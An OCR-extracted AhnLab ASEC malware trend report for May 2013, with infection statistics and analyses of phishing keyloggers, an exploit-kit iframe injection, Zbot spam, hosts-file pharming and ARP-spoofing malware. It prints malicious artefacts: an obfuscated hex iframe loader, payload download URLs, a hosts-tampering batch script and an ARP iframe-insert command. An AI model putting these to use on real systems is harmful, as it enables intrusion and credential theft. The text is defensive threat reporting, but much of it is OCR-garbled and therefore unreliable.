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Malware Statistics

Malware reported
in May decreased
by 330,000 from the
previous month

According to statistics collected
by ASEC, 5,170,993 malware were
reported in May 2013. The number
of reports decreased by 337,902
from the 5,508,895 reported in
the previous month. (See [Figure
1-11.) The most frequently reported
malware was Win-Trojan/Wgames.
Gen, followed by ASD.PREVENTION
and Win-Trojan/Asd.variant. Also,
a total of 4 malware were newly
added to the “Top 20~ list. (See
[Table 1-1])
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[Figure 1-1] Monthly Malware Report Changes

Ranking PN Malicious Code Reports  Percentage
1 A10 Win-Trojan/Wgames.Gen 232,796 13.2%
2 - ASD.PREVENTION 180,949 10.2%
3 A10 Win-Trojan/Asd.variant 176,972 9.9%
4 v1 Textimage/Autorun 141,072 8.0 %
5 A1 Malware/Win32.generic 100,447 5.7%
6 v Trojan/Win32.onlinegamehack 95,773 5.4 %
7 vb Win-Trojan/Onlinegamehack140.Gen 90,969 5.2%
8 v4 Trojan/Win32.urelas 80,866 4.6 %
9 A9 Trojan/Win32.agent 76,997 4.6 %
10 NEW Win-Trojan/Downloader.205360 76,360 4.3 %
1 A5 Als/Bursted 73,280 4.2 %
12 - RIPPER 68,393 3.9%
13 NEW Win-Trojan/Onlinegamehack141.Gen 56,939 3.2%
14 NEW Binlmage/Host 55,787 3.2%
15 v5 Malware/Win32.suspicious 50,249 2.8%
16 Al Win-Trojan/Avkiller4.Gen 45,845 2.6 %
17 A2 Win32/Autorun.worm.307200.F 44,049 25%
18 v9 Trojan/Win32.Gen 42,624 2.L%
19 NEW JS/Exploit 39,312 2.2%
20 - Win32/Virut.f 36,199 2.1 %

TOTAL 1,765,878 100.0 %

[Table 1-1] Top 20 Malware Reports for May 2013 (Based on Infection Report and Malware name)
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Rankin Malicious Code Reports  Percentage
op alware 9 p g
Reports 1 = Trojan/Win32 675,274 20.4 %
2 A1 Win-Trojan/Agent 365,391 11.0%
[Table 1-2] shows the percentage 3 v Win-Trojan/Onlinegamehack 270,289 8.2%
breakdown of the Top 20 malware 4 A10 Win-Trojan/Wgames 232,796 7.0%
and its variants reported this 5 AL Win-Trojan/Downloader 206,085 6.2%
— 0,
month. Among those, Trojan/Win32 6 s 180,949 5:5%
7 A13 Win-Trojan/Asd 176,972 5.3%
was the most frequently reported .
8 v3 Adware/Win32 163,360 4.9 %
malware (675,274), followed by 9 v2  Malware/Win32 159,316 4.8%
Win-Trojan/Agent (365,391),and 10 v2 Textimage/Autorun 141,114 43 %
Win-Trojan/Onlinegamehack " v7 Win-Trojan/Onlinegamehack140 90,969 2.8%
12 v Win32/Virut 90,531 2.7%
(270,289) ,
' 13 v3 Win32/Conficker 88,324 2.7%
14 v2 Win32/Autorun.worm 83,672 2.5%
15 NEW Als/Bursted 73,280 2.2%
16 A1l RIPPER 68,393 2.1%
17 A2 Downloader/Win32 67,337 2.0%
18 v2 Win32/Kido 66,425 2.0 %
19 NEW Win-Trojan/Onlinegamehack141 56,939 1.7 %
20 NEW Binlmage/Host 55,787 1.7 %
TOTAL 3,313,203 100.0 %
[Table 1-2] Top 20 Malware
“ i Ranking P Malicious Code Reports  Percentage
nine game hac
malware” - The most 1 Win-Trojan/Downloader.205360 76,360 39.0%
2 Dropper/Agent.155248 19,882 10.1 %
frequently reported 9
new malware in May 3 Win-Trojan/Agent.25088.YR 15,916 8.1%
4 Win-Trojan/Agent.1112120 15,633 8.0 %
[Table 1-3] shows the percentage 5 Win-Trojan/Agent.724024 9,618 5.0 %
6 Win-Trojan/Agent.877624 9,250 4.7 %
breakdown of the Top 20 new L 9 ’
) ) 7 Win-Trojan/Korgamehack.1556480 H313 2.7%
malware reported in May. Win- :
8 Win-Adware/Shortcut.124464 4,967 2.5%
Trojan/Downloader.205360 was 9 Win-Trojan/Kanav.205344 4,583 2.4 %
the most frequently reported new 10 Win-Trojan/Korad.98304 4,508 2.3%
malware in May, representing 39% 1 Win-Trojan/Downloader.150040 3,795 2.0%
(76,360) of the Top 20 new malware 12 Win-Trojan/Banker.720944 3,773 1.9 %
13 Win-Trojan/Downloader.1066207 3,368 1.7 %
followed by Dropper/Agent.155248 . .
14 Win-Trojan/Downloader.294138 3,204 1.6 %
(19,882). 15 Win-Trojan/Keygen.31247 3,015 1.5 %
16 Win-Trojan/Agent.183408 2,826 1.4 %
17 Win-Adware/KorAd.98304.E 2,599 1.3%
18 Win-Trojan/Agent.54784.MF 2,519 1.3%
19 Win-Adware/KorAd.98304.D 2,508 1.3%
20 Win-Trojan/Urelas.1572864 2,310 1.2%
TOTAL 195,947 100.0 %

[Table 1-3] Top 20 New Malware Reports in May
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“Trojan Horse” Ranked
as the Most Reported
Malware Type in May

[Figure 1-2] categorizes the top
malware reported by AhnlLab
customers in May 2013. Trojan
was the most reported malware,
representing 57.8% of the total,
followed by Worm (6.8%) and
Adware (5.1%).

TROJAN

57.8%

15.4% etc

0.2% appcare
0.8% spyware

1.3% expLoim

1.7% pownLoaDER
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3.4% virus

3.3% DROPPER

-
[Figure 1-2] Malware Type Breakdown

Comparison of
Malware with the
Previous Month

[Figure 1-3] shows the malware
breakdown compared to the
previous month. Trojan horses,
worms, scripts, viruses, and
Appcare code increased from last
month, while adware, droppers,
and spyware decreased. The
number of downloaders is similar

to that of the previous month.
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[Figure 1-3] Malware Type Breakdown for May 2013 VS. April 2013
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Breakdown of New ADWARE  sonyuee

Malware Types Th TROJAN

Trojan horse was the most D9R0(}PPER 830/0
0

frequently reported new malware
type in May, representing 83% of
the total, followed by droppers (9%)

and adware (7%).
TROJAN

80%

[Figure 1-4] Breakdown of New Malware Types
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Malware Issues

INBOX IS FULL!

There have been reports about malware disguised as normal
emails. Recently, emails about full inbox capacity have been
reported as suspicious. The email states that no messages can
be sent or received unless the capacity is increased, and leads the

user to click a link and download a file.

2 A System Administrator

2.8 20132 53 27 URW 2% 6:08
WE N gomaingmnhdarke

AR Maibox Quota Exceeded

Dear User

you have exceeded the storage Bmit on your madbox. You wll not be able to send orreceive new mad untd you upgrade your emadl
quota.

Chick here and download the file to upgrade your madbox mailbox upgrade

System Adsamustrator

=
http://aved . com/quotaX20upgrade. exe /

s Lhditiombhattth. bttt e ———————EEEEEEEEEEERRRRRRRRR |

[Figure 1-5] Original email content

The file downloaded through the link is disguised as an Internet

Explorer icon, and infects the system with malware when executed.

/ quota upgrade, exe

[Figure 1-6] File downloaded through the link

When the file is opened, it creates the following file.

quota+upgrade.e CREATE
quota+upgrade.e CREATE
quota+upgrade.e CREATE
quota+upgrade.e CREATE

C:\Documents and Settings\All Users\Application Data\WKTUEO\QKJ.exe
C:\Documents and Settings\All Users\ipplication Data\VKTUEO\QKJ.00
C:\Documents and Settings\All Users\Application Data\WKTUEO\QKJ.O1
C:\Documents and Settings\All Users\Application Data\VKTUEO\QKJ.02

QKJ.exe CREATE C:\Documents and Settings\All Users\ipplication Data\UAZ\QKJ.004
QKJ.exe MODIFY C:\Documents and Settings\ill Users\Application Data)UAZ\QKJ.004
QKJ.exe CREATE C:\Documents and Settings\All Users\ipplication Data\UAZ\QKJ.001
QKJ.exe MODIFY C:\Documents and Settings\All Users\ipplication Data\UAZ\QKJ.001

[Figure 1-7] Created file

Also. it registers itself into the system registry to automatically run

at system restart.

HKLM\ SOF TWARE\ Microsoft)VUindows\CurrentVersion\Run\QKJ Start
"C:\Documents and Settings\All Users\ipplication Data\VKTUEO\QKJ.exe"

[Figure 1-8] Registry value created

This malware collects various information (running programs,
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browser history, key logging information, screenshots) from the
user's system, and sends it to a specific email which seems to be

created by the malware creator.

T

2 T S0
+ 220-Three. Gserversl.net CHTP Exim 4.80 02 Thu, 30 May 2013 06:32:07 +0100 |
< oo k

: 250-theae. aserversl.net 1o k1agoon-B4370cH (1.221.137.164] | 230-512 5242
s 3 =

Ly ey I J

: on

i 334 Enter message,

: OATA frageent, 381 byt

© OATA frageent, 49 bytes

TP 279C: DATA fragment, 225 bytes J:J
>

: A
[Figure 1-9] Mail packet sent via a specific email server

The following shows the contents of the sent email at the time of

0g With =." on a Tine by ftself
o5

analysis, and it confirms that the collected information is attached
as an HTML file.

@ Logs from “Administrator - A 2101(1S0)

| DHE BIE AW S3D HARM S8UH 3
20 A jomain.com

2 20134 58 0 KBY 23 11:59

WS NEE i went@siy.com

AR Logs from “Administrator

B Screen.2013-05-30.11-53-45.htm! (6456101 E) g Screen 2013-05-30.11-58-45,jpg (253KB) Al
App2013-05-30.11-50-22.htm (1,85KB) Keys2013-05-30.11-50-23, html (1,28KB) =l
stra N S E01(1S

WE N i neni@sit.com

Aas: Logs from "Administrator

s “App_2013-05-30_14-12-46, Ml (261KB) 3 Web__2013-05-30_14-11-44. i (2.06KB) -
Keys.2013-05-30.14-17-18.htmi (1, 14KB) ~l

| You will find log file attached to this letter.

0 d SettingsWisk ingsW Temporary lntern 'Conte ¥ o w ernet Explore sl 3
50 [ CWDocuments and SemegsWiskimWieca SetngsWTemporary itemet FlesWoormeet EOMIOTEKSIWAOD 01 =] 49 X [ Coose  (»-)
& BRHO 8 CWDocuments and Sesingswishimwiocals.. | | BB 0w HOA®- 22®- S3Q- - "

a2y (2R2001 =
2130 58 U RRY (24 214] 1 C\Program Fles\Ouodk Exprodsimsiinese: OoikBxpress | i, [,
01358 DU KR (24 214]1 C Progm Fiehasmngatmonigs e Wedows Mestamsr | (000 10 1

R (2%217)y ¥ an VAl Users\Appication O e R
"2 (2% 218]y
[Figure 1-11] Info on Running programs

imWLocal Se A
T [ CWOocumeets 323 SetingsWskimWLocal Semngs W Temoray iermet FlnsWeormed EOMOTEREIWWR D1 2] 49| % @ ooor 5
& BAUN @ CWhocuments and Setingswiskimwiocais.. | | BB 0w HOR®- - £30- §-

28211 (20134 5% 0V R Admistrator - Google

- -
hetp:i//wee, google. co.ke/

24212(013958 VU K2 Admnstnter: Ml B B BB P I B ]
http://www. ahnlab. 117 ¢

2%212 (20134 5§ DY K2 Adminstrater

http://wew. ahnlab K 4

[Figure 1-12] Info on Web access
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PR E A

20139 58 DU RRY (2T 1190] olg exe: Qcfa+ipgiace x4 32 Piopatios
20139 58 DU KRY (2 1162]em oo fana = eiste 40 od waip
ertwortwertweortert jhkljwhegre Liwielekeidkwe Ekit jwelke Jtkle ctwortwe rEwl11112111211111220111211
20134 58 DU RRW (2 1153] explorer exe: CREATE

20132 5§ 0U KLY (23 1154] explocer exe: UAZ

abcdefghjklnn

[Figure 1-13] Info on Key logging
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= L
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[Figure 1-14] Info on screenshots

Any information collected by the malware can be stored and used

as part of an ATP (Advanced Persistent Threat). This can pose a
great security threat to the user’'s network, so users must take

extra caution.

V3 can detect this malware as follows.
<Malware name in V3 products>
Backdoor/Win32.Gbot (2013.05.28.02)

Online Game Hacks using Stolen Digital
Certificates

Recently, there has been a case in which the malware spread
through hacked websites and the file generated in the infection
process was signed using the digital certificate of a certain file

sharing site.

The initial page where the malicious script link was inserted was
a P2P website, and it contained an obfuscated Hex type malicious

script link in its makePCookie.js file.

http://on****.co.kr/js/makePCookie.js

® Obfuscated malicious script link:

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\
X74\x65"[("\x3c\XB9\XB66\x72\x6 1\x6d\XB5 \X77\x69\x64\x74\x68\
x3d\X27\x3 1\x30\x30\x27x68\x65\x69\x67\x68\x 74\x3d\x2 7\x30
\X27\x73\x72\x63\x3d\X2 7\x68\x 7 4\x 74\x 70\x3a\x2f\x2f\x 7 3\xBe\
X73WX6AXB6\X74\x2e\x64 \XB9//—omitted—/Ax2e\xB8\X74\XBAXBC\X27\
x3eX3c\x2f\xB6IWXB6\X72\x6 1\X6d\x65\x3e");

® De-obfuscated codes:
<iframe width="100" height="'0" src="http://snsoft.******pijl|.co.kr/
about/css.html'></iframe>
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When the obfuscated code is interpreted by IE, it triggers a
malicious script (css.html) to be downloaded and run from
another website. Css.html is obfuscated using Dadong, a common
Exploit Toolkit found in most hacked websites. Similar to existing
formats, several vulnerabilities (such as JAVA, IE, Flash Player,
etc) have been used to infect a PC with the malware, set to be

downloaded and run through any matching vulnerability.

The following is a visualization of the de-obfuscated state of the
obfuscated css.html using a total of 8 vulnerabilities (6 in JAVA, 1

in Flash Player, and 1 in |E) to infect as many PCs as possible.

Java
CVE-2011-3544
CVE-2012-0507
CVE-2012-1723
CVE-2012-4681
CVE-2012-5076
CVE-2012-5076

[Table 1-4] Vulnerable ID used by css.html

If any of the vulnerabilities from [Table 1-4] exists on the PC, the

Flash Player IE

CVE-2013-0634 CVE-2012-1889

file downloads and runs from a certain website.
-. File Download URL: http://snsoft.*****bill.co.kr/about/up.exe

The file name of ,%SYSTEM%\[service name]+32.dll0 created
by up.exe combines with a service name executed by a normal
Windows file svchost.exe on the infected PC. The list of services

using this file can be checked on the registry key.

Also, up.exe has the function to encrypt the infected PC's Mac

address, 0S version number, etc and send it to a certain IP.

192.168.247.129 -> 116.***121.*** UDP 360 Source port: simba-
cs Destination port: 7125

S
32 39 32 44 37 38 30 34 00 00 00 00 4D 0BC292D7804....M

69 63 72 6F 73 6F 66 74 20 57 69 6E 64 6F 22 73 icrosoft Windows
20 58 50 20 50 72 6F 66 65 73 73 69 6F 6E 61 6C XP Professional
20 53 65 72 76 69 63 65 20 50 61 63 6B 20 33 20 Service Pack 3
64 20 32 36 @ 29 00 Cbuild 2600>....

& A

3 FF 34 30 66 C2 F4 F6 10 CE B2 60 24z574:¢ 22{E"
84 C® D4 BF EC 95 42 6F D@ 55 98 €A 1B 3~ FHlo74le
38 62 2D 15 2B 96 89 A9 C5 49 F1 79 SC 84 8hZ-L+TWhbr2w,
AB 39 4B 1E A4 19 AB 8A 64 4A 45 59 OB DS 7?t?7A?HdJEYS [
4F 73 4A E1 23 D DF A8 3B A7 00 0s1KJ? fln: 2 ¢

[Figure 1-17] System information after encryption

<Malware name in V3 products>
Trojan/Win32.Agent (2013.05.07.00)

Malware with Roll Back (System Restore) function

The malware is restored, even after removing the code and

rebooting the system?!



Recently, a malware was discovered with a recovering ability
known as ‘Roll Back’. It was difficult to remove this malware
which abuses System Restore to keep the system infected. The

final target to be infected by this malware is an online game hack.

The following file is created when infected with a malware with a

roll back function.

[Created file]

C\WINDOWS\system32\wininit[oon].exe (Dropper)
CAWINDOWS\system32\Black.dll
CAWINDOWS\system32\RCX[ooa].tmp
C\WINDOWS\system32\Drivers\diskflt.sys
C\WINDOWS\system32\drivers\passthru.sys

In addition, a copy of black.dll is created as a malicious lpk.dll in

all folders, and a network connection to a certain IP address is

detected as shown in [Figure 1-18].

% TCPView - Sysinternals: www.sysinternals.com

Eile Options Process View Help

A «B

Process / PID Protocol LocalPort ~ Remote Ad.. | RemotePort . State SeA
— System 4 UDP netbios-ns -] b

) System ] UDP netbios-dgm  * .}

_J System 4 UDP microsoftds  * 5

it exe 1 TCF 1026 1 ESTABLISHED
M

< >
Endpoints: 15  Established: 1  Listening: 4 Time Wait: 0 Close Wait: 0

[Figure 1-18] Network connection information

V3 can detect this malware as follows.
<Malware name in V3 products>
Backdoor/Win32.Lapka (2013.04.15.04)
Trojan/Win32.Redflt (2013.04.22.01)
Win-Trojan/Agent.15360.2G (2013.04.12.03)

Spam Mail Disguised as Financial Site Account
Information

Users should pay extra caution as spam mails with malware
disguised as account information mails from financial institutions
have been distributed. As shown below, this spam mail is about
the account information for ‘Chase’, but a Zbot malware was

attached in a zip file format.

WO EIO W SID nnml slw L

-.: aﬂa g sﬁ X 9 ° 32
LR 5e Oniine®
e 213 54 6 AW 2% 708
e A -
AR: ACTION REGUIED: Note foryouraccount
Y RETOTI RV 110301 2ip (ZB) | ATTONDL NN (L9%8) 3

Note: Tis & 2 senice message i pfomation reated 1o your Chase. account(s). ft may include Specific Jetals about transactions. 4]
products or onine Services:

Dear Valued Customer:

e v be maldigrrancemdfifto chase(SM) and our mobile platforms that wil help US meet our objective of continually improving
ese services.

As a result of these enhancements, some Services on chase(SM) and Chase Mobile wil be temporarily unavaiiable ntil you complete —
a simple update on your account information.

Read detais below.

e are upgrading to a further advanced technology. Due to the increase of cyber threat. Due to this.
attached document  —Dowoad and Save 1o DESHSS, -Gt 1 DESKiop 1o apen e documént - Got Staned by o g you 35F formation

Please understand that this is a security procedure intended to safeguard our valued customers and thier account(s) information

=

[Figure 1-19] Spam email disguised as a financial account info

When the extracted file starts running, it creates a random folder

ASEC REPORT 41 MALICIOUS CODE TREND

o

in C:\Documents and Settings\ahnmaru78\Application Data. It

then copies and runs itself, infecting the affected system.

It also registers itself to the registry for automatic execution at
system boot.

HKCU\Software\Microsoft\Windows\CurrentVersion\
Run\{E55555F5-9C43-AD7D-DESD-26A4FBAAOSB6G}

And it enables a safe transaction by allowing a certain port on the

firewall, as below.

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\
FirewallPolicy\StandardProfile\GloballyOpenPorts\List\14202:UDP
"14202:UDP:*:Enabled:UDP 14202"

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\
FirewallPolicy\StandardProfile\GloballyOpenPorts\List\17000: TCP
"17000:TCP:*:Enabled:TCP 17000"

Once infected, the malware repeats transaction procedures
such as sending and receiving data from IPs which seem to be
several C&C servers, and downloads additional malware from the

following website for further infection.

* http:// a********* co za/pon(2).exe

m———— 192.168.227.132  TCP 54 28359 > wmc-10g-: sv< [u:x] Seqe227 Ack=438 Win=64239 Len=0

192.168.227.132  192.1 22 |_query

192.168.227.2

192.168.227.132 o0

Ack=1 Win=64240 Len0 MSS=]

192.168.227.132

192.168.227.132 .

R T ,Mtv »kiu'lm mx Seqe1 | kk-m Win=64240 Len=0
TP 1514 [ egment of a reassembled POU]

e 1514 [Tcp sw of a reassembled Poll]

TCP 606 [TCP seqment of a reassembled POU)

Figure 1-20] Malicious file download
Additional malware was created to collect various user
information saved on the PC, by checking the infected PC's FTP,
email and other programs for stored accounts and passwords.
Due to the nature of the malware, sensitive information disclosure

and other harm can occur, making caution necessary.

0016812 SMTP Port

001681 IMAP Port

0016827 POP3 Password2

0016836 IMAP Password2

20016845 NNTP Password2

0016854 HTTPMail Password2

0016867 SMTP Password2

0016877 POP3 Password

0016885 IMAP Password

0016833 NNTP Password

00168al HTTP Password

00168af SMTP Password

00168be SoftwareWMicrosoftWinternet Account Manager#Accounts

2001693 Identities

00168fe SohwareWMlcrosofMOlﬁceWOuuooWOMl Account Manager\'Mccoums

0016934 NTWC sionWWindows N Subsy WMicr
001693 SonwareancrosofMWndows NTWC sionWWind ing SubsystemWProfilesWOut,
0016204 Account

0016a39 Ouﬂook

0016241 WAccounts

[Figure 1-21] Information on programs collected by malware

The use of anti-virus programs to prevent malware infections via
email is very helpful. In the case of email malware, most security
companies can easily detect the variants and quickly update the

detection features.

However, the malware creators are coming up with new ways

for these variants to go undetected by the anti-virus programs,



so these programs may not be able to catch the malware in the
primary stage of distribution. Therefore, it is best not to open
emails from unidentified senders, and avoid executing email

attachments unless strictly necessary.

<Malware name in V3 products>
Trojan/Win32.Zbot (2013.05.08.04)
Trojan/Win32.Tepfer (2013.05.09.00)

Warning: Phishing Pop-ups using Plagiarized
Financial Sites

Phishing pop-ups using plagiarized websites of financial
institutions have recently appeared. This malware directs the user

to a website created for phishing purposes.

If the user enters personal information into the website by clicking
‘Yes', it gets sent to the attacker.

Proccs Lengt, vio
62 optima-vnet > Htp [SYN) 56qe0 WINe64240 Lansd MSS=1460 SACK_PER
60 BXTp > OpTima-vnet [SYN, ACK) $6qe0 Ackel WiNe64240 Lene0 MSSe1d
54 cp(lla»mn > mu-utxl Seqel Ackel Wine64240 Lene0

 52q-1 Ack=279 WIN=64240 Lens0
ext/mal)

g0 | SACK_PERM
ACK) 5600 ACke1 Win=64240 Lens0 MSS=1460

54 o> neep ua] 54qe1 Acksl WINe64240 Lene0

333 Gt/ srross

1224 . I — B -

[Figure 1-22] Malicious website prompting for personal information
This malware is similar in format to the existing ‘pharming’, which
uses an altered host file to direct the user to a phishing site when

visiting a certain website.

It is characterized by its method of downloading a malicious host
file from a certain website prepared by the attacker.

Mo,

Protscol Leng® ko

cr 62 dcuti ity > BETp [SYN) S€q=0 WiNe64240 Len=0 MSS1460 SACK_PERM=1

e €0 NtTp > Goutility [SYN. ACK] 54Qe0 Ackel WINe64240 LENeO MSSe1460

e 34 dagiitty > hevp | vcx) 569+1 Ack=1 WiNe64240 Lens0
435 GET./abC. Txt HTTP,

60 htep > mtlmw] Shamgio02 vinea240 Lan-o

> REp
mn-a 435 T Jab WA
e 0https deut Mty .-un;m.w Wine64240 Lenso
HITP 1188 HTTP/1.1 200 oK (text/plain)

- ot B b
[Figure 1-23] Downloading a mahcmus host file from a certain server

The following is a host file altered by the malware, and when
linked to the website shown in [Figure 1-28], it connects to a
malicious phishing site.

P hosts - H2Z

MEE BIEE ANOQ HIY =S2H
F®i W 18%.10 banking.nonghyup.com
JEY_TIE. 13, T3 BaNKiNG .NONGhYUp.cOM
PET P URA, AN WWY.BaNKiNG .NOnGhyUp .cOH
FEI 7N 185,10 NoNGhYup .cOH
JEY.TIE.134.73 ibz.nonghyup.com
#0545 WY .NoNghyUp .cOM

L ¥ . 185,73 WOOriBANK.col

JRT TR 13T WY . WOORiIBANK .cOM
PEY F1e 40&, 4% piB.WOOriBaNk.cOM
FRl 7w 185,10 SPD.WoORiBaNK.cOM
JRITIE. 136, T3 U.WOORiBanK.cOM

ZEY 20e. 185 40 pot.wooribank.com
ERI R 185,10 WOOriBANK . coM

JEY TN 136,13 OBaNK.KBStaR.cOM
LA 5 W .KBStaR.cOH

L L 1 KBStaR.cOM

amr. 0biZ.KbStaR.cOm

LU A% www.ShiNhaN.coM

L LI # BaNKiNg.SHiNHAN.cOM
EL L bIZBanK.ShinhaN.cOm
ELH % easy.Shinhan.CoMl
FLLE # OpEn.Shinhan.CoM

EL LB Www.IbK.co.kR

FEY F0e RBE, AN MyBanK.ibK.CO.Kr
FRE iR 185, 10 KIUP.ibK.CO.KR
JET_TIE.134.T3 open.ibK.CO.kR
FEY F0e 0BE, A0 ibk.co.kr

[Figure 1-24] Altered host file
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Additionally, certain processes are terminated by the batch files

created by the malware and some file properties are altered.

P gc.bat - HI2ZE

mEE BIE AHHEQ 20 =s8H
TASKKILL /F /IM conime.exe

echo y|cacls ZwiNdiRZMsYsteM32WdrivErsWeTcihoSts /g everyone:f

attRib -R -a -S -h ZWiNdiRIMSYStEM32WARiVERSHEtcHhOStS

For %%i in (C:WWINDOWSWSysten32#driversietc) do del %%iWhosts /q /s /f /a

=13

[Figure 1-25] Batch file created for malicious activity

Also, this malware seizes major system resources, slowing down

the system and Internet speed.

Process PID__CPU__Description Company Name
! iexplore.exe !'! nlumcl !m lorer llcmsoll !omomlon

&y cmd.exe 3220 Windows Command Pro,,. Microsoft Corporation
- @ycmd.exe 2460 Windows Command Pro... Microsoft Corporation
By cmd.exe 1848 Windows Command Pro,, Microsoft Corporation

= @ycmd.exe 3338 Windows Command Pro... Microsoft Corporation
[y cmd.exe 2728 Windows Command Pro,,. Microsoft Corporation

= @y cmd.exe 192 Windows Command Pro,,, Microsoft Corporation
¥ cmd.exe 3364 Windows Command Pro... Microsoft Corporation

= @y cmd.exe 3428 Windows Command Pro.., Microsoft Corporation
Eycmd.exe 3564 Windows Command Pro... Microsoft Corporation

- @y cmd.exe 3408 Windows Command Pro... Micfosoft Corporation
@y cmd.exe 3528 Windows Command Pro,,, Microsoft Corporation

= @y cmd.exe 3812 Windows Command Pro... Microsoft Corporation
Eyemd.exe 3700 Windows Command Pro... Microsoft Corporation

= @y cmd.exe 3648 Windows Command Pro... Microsoft Corporation
@ cmd.exe 1232 Windows Command Pro... Microsoft Corporation

= @y cmd.exe 1596 Windows Command Pro,.. Microsoft Corporation
&y cmd.exe 2072 Windows Command Pro... Microsoft Corporation

= @y cmd.exe 1220 Windows Command Pro... Microsoft Corporation
@y cmd.exe 3752 Windows Command Pro... Microsoft Corporation

- @ycmd.exe 3812 Windows Command Pro... Microsoft Corporation
Eycmd.exe 3884 Windows Command Pro,,, Microsoft Corporation

= gy cmd.exe 2124 Windows Command Pro... Microsoft Corporation
Eycmd.exe 3892 Windows Command Pro... Microsoft Corporation

= @y cmd.exe 3944 Windows Command Pro.,. Microsoft Corporation
@y cmd.exe 544 Windows Command Pro... Microsoft Corporation

- @ycmd.exe 340 Windows Command Pro,,, Microsoft Corporation
By cmd.exe 388 Windows Command Pro... Microsoft Corporation

= @y cmd.exe 3836 Windows Command Pro... Microsoft Corporation
@y cmd.exe 4072 Windows Command Pro,.. Microsoft Corporation

[Figure 1-26] Seized resources on an infected system

Phishing sites targeting random users are almost identical to the
actual normal websites, tricking people to enter their personal
information without any suspicion. However, no matter how
similarly a website has been created, phishing can be prevented if

the user is cautious.

To minimize the damage, users must question websites that
require an excessive amount of personal information or the entire
numeric sequence on their security cards, and avoid entering any
personal information. Any websites requiring Active X installation

and installation of P2P programs should require extra caution.

V3 can detect this malware as follows.
<Malware name in V3 products>
Trojan/Win32.Qhost (2013.05.30.00)

ARP Spoof Causing Malware

There have been recent reports about ActiveX warnings showing
up on all Internet websites. This occurs when a normal PC
connects to the Internet on the same network as a system infected
by a malware that induces ARP Spoofing, with the malware's

distribution URL entering the iframe.

This is a screen showing the ActiveX warning when a normal PC is

connected to a non-malicious website on the same network with



the ARP Spoofing infected system. Caution must be taken since
unconsciously installing the ActiveX controller even from a trusted

website can lead to malware infection.

Unless the ARP Spoofing infected PC is repaired, a normal PC on
the same network will continue to see ActiveX warnings whenever
it uses the Internet. When there are a large number of infected
PCs with this malware in the network, the network may not

function properly.

If a network is diagnosed with similar symptoms, then the ARP

Spoofing infected PC should be found and repaired.

In addition to ARP Spoofing detection tools, the IP causing ARP
Spoofing can be detected using an arp -a command on the
system where the ActiveX warning occurred. In [Figure 1-32], the
actual gateway IP is 192.168.95.2. But the MAC address related
to the gateway IP is the same as 192.168.95.129, meaning the IP
192.168.95.129 which has the same MAC address to the gateway
MAC address is the one causing ARP Spoofing.

908-50-56-c0-00-088
80-8c-29-34-bb-73
=80 B 4-bh-73
B-50-56-ed-ed-f1
FE-FF~5f ((~FF-FF

01 -0055e - d8-P0- 16

B -00 58 -M=00-f &
BF - £ 208 £ £ §

The inserted iframe code is as follows, and when checked with
win7.html, the encoding is shown in [Figure 1-33].
<iframe src="http://nave** **-**s com/win7.htm(" width=0

height=0 frameborder=0></iframe>

Once decoded, information on the ActiveX controller downloading

the malware and the distribution URL can be checked.
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When the ActiveX controller is installed, win8.exe file is
downloaded and run, which creates the following file and registers

itself to run on system start.

[File creation]

%Temp%\127.exe

%UserProfile%\Local Settings\Temporary Internet Files\win7[1].exe
%Temp%\fbAbb6A266.exe

%Systemroot%\System32\System32.exe

%UserProfile%\Local Settings\Temporary Internet Files\arpx[1].exe
%Temp%\1TbTDtPeT4.exe

%Systemroot%\npptools.dll

%Systemroot%\wpcap.dll

%Systemroot%\WanPacket.dll

%Systemroot%\Packet.dll

%Systemroot%\system32\drivers\7.tmp

%Temp%\8.tmp

[Registry Registration]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run

(@="%Systemroot%\system32\System32.exe"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
System32 System
“ImagePath"="%Systemroot%\system32\System32.exe"

wing.exe J

127.exe

N—

System32.exe J

win7.exe
(foA6L6A266.exe)

arpx.exe
(1TbTDtPeT4.exe)

npptoolsdll
wpcap.dll
WanPacket.dll
Packet.dll
7tmp

127.exe file created by win8.exe file downloads and runs win7.exe
and arpx.exe files as shown below, and sends the infected PC's

MAC address to a certain server.

hxxp://nave** **-**s com/win7.exe
hxxp://nave** **-**s com/arpx.exe
hxxp://nave** **-**s com/winx/count.asp?mac=00-0c-29-34-bb-

73&ver=arp1

win7.exe file is the same as fbA6bb6A266.exe and system32.exe



files, copying system32.exe file into the Windows system folder

and registering in start program and service.

system32.exe file attempts to connect to the IP below which
seems to be the C&C server every 4 seconds, but no connection

was made at the time of analysis.
C&C Server IP : nave** **-**s com:1963 (21* *15.%6.*5:1963)

arpx.exe file is the same as 1TbTDtPeT4.exe file, installing and
running a normal Winpcap module and a Chinese 8.tmp file

known as zxarp for ARP Spoofing.

8.tmp file leads ARP Spoofing and inserts the distribution URL as
a code into the iframe when a normal PC on the same network is

connected to the Internet.

< C:WWINDOWSWsystem32Wcmd.exe - cmd

%% @ VIR @

HEES
SEEST NPRET

8.tmp file is executed as an option shown below, inserting ARP

Spoofing and iframe codes.

-idx 0 -ip 192.168.95.2-192.168.95.254 -port 80 -insert "<iframe
src="http://nave** **-**s.com/win7.html" width=0 height=0

frameborder=0></iframe>"

V3 can detect this malware as follows.
<Malware name in V3 products>
Trojan/Win32.Warp (2013.05.14.00)
Win-Trojan/Downloader.15680.B (2013.05.14.00)
Win-Trojan/Agent.62276 (2013.05.14.00)
Trojan/Win32.Warp (2013.05.14.00)
Win-Trojan/Hacktool.53248.E (2013.05.14.00)

Online Game Hack distributed through PUP

In the case of frequently discovered online game hack malware,
various distribution methods have been developed over time.
For instance, tht PUP can disguise itself as a commonly used
program, or infect through vulnerable websites or file sharing

sites (programs) such as P2P. The malware related to the online
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game hack covered here was distributed through PUP programs,
similar to previously discovered methods such as the Ahn Camera

update file or V3 Lite installation file.

Wy
sample . exe

The icon of the actual distributed file looks like the one in [Figure

1-32], and opening the file creates another file as follows.

[File creation information]
C:\DOCUME~NADMINI~1\LOCALS~1\Temp\datd02.exe
C:\WINDOWS\system32\WindowsDriver.dll
C:\WINDOWS\system32\xxx.exe

The malware downloads other malicious files through the network

when executed, as in the data shown below.

[Network information]

TCP CONNECT  127.0.0.1=>1xx.1xx.50.2xx:80
HTTP CONNECT 127.0.0.1=>1xx.1xx.50.2xx:80
yo****21 ca**24.com/data.dat

